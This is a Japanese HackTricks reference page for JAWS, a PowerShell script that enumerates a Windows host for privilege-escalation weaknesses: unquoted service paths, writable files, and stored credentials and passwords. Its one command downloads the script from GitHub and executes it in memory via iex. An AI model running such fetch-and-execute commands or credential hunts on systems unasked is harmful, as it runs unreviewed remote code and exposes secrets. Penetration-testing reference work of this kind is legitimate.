hacktricks/windows-hardening/windows-local-privilege-escalation/jaws.md

3.7 KiB
Raw Blame History

AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Start

iex(New-Object net.WebClient).downloadstring("https://raw.githubusercontent.com/411Hall/JAWS
/master/jaws-enum.ps1")

情報収集

特権昇格のミスコンフィグレーションをチェックするだけでなく、現在の状況に関する情報も収集します。

  • ユーザー & グループ
  • ネットワーク (インターフェース、arp、ポート、ファイアウォール (出力多め)、ホスト)
  • プロセス
  • スケジュールされたタスク 出力多め
  • サービス 出力多め
  • インストールされたソフトウェア、プログラムフォルダ
  • パッチ
  • ドライブ
  • 最終更新ファイル

チェック

  • フルコントロール権限のあるファイルとフォルダ
  • クオートされていないサービスパス
  • 興味深い可能性のあるファイル
  • パスワードが含まれるシステムファイル
  • 保存されたクレデンシャル
AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をチェック!

HackTricksをサポートする他の方法: